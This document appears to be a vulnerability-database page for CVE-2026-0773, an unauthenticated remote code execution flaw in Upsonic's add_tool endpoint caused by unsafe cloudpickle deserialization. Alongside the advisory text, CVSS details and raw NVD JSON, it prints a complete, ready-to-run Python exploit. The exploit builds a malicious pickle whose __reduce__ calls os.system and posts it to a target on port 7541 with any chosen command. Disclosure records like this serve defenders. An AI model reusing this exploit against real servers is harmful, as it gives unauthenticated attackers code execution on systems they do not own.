Security Vulnerability Report
中文
CVE-2026-0773 CVSS 9.8 CRITICAL

CVE-2026-0773

Published: 2026-01-23 04:16:04
Last Modified: 2026-04-15 00:35:42

Description

Upsonic Cloudpickle Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Upsonic. Authentication is not required to exploit this vulnerability. The specific flaw exists within the add_tool endpoint, which listens on TCP port 7541 by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26845.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Upsonic < 修复版本
Upsonic Cloudpickle 反序列化组件(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0773 PoC - Upsonic Cloudpickle Deserialization RCE Note: This PoC is for educational and authorized testing purposes only. """ import pickle import cloudpickle import requests import base64 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def create_malicious_payload(command): """ Create a malicious pickle payload that executes the given command when deserialized. """ class Malicious: def __reduce__(self): import os return (os.system, (command,)) # Using cloudpickle for serialization return cloudpickle.dumps(Malicious()) def exploit(target_ip, target_port=7541, command="whoami"): """ Exploit the CVE-2026-0773 vulnerability Args: target_ip: Target server IP address target_port: Target port (default 7541) command: Command to execute on target """ url = f"https://{target_ip}:{target_port}/add_tool" # Create malicious payload payload = create_malicious_payload(command) payload_b64 = base64.b64encode(payload).decode() # Prepare request data data = { "tool_data": payload_b64 } try: print(f"[*] Sending malicious payload to {url}") print(f"[*] Command: {command}") response = requests.post( url, json=data, verify=False, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-0773-poc.py <target_ip> [command]") print("Example: python cve-2026-0773-poc.py 192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, 7541, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0773", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:04.493", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Upsonic Cloudpickle Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Upsonic. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the add_tool endpoint, which listens on TCP port 7541 by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26845."}, {"lang": "es", "value": "Vulnerabilidad de Ejecución Remota de Código por Deserialización de Datos No Confiables en Upsonic Cloudpickle. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Upsonic. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del endpoint add_tool, que escucha en el puerto TCP 7541 por defecto. El problema resulta de la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en la deserialización de datos no confiables. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-26845."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-042/", "source": "[email protected]"}]}}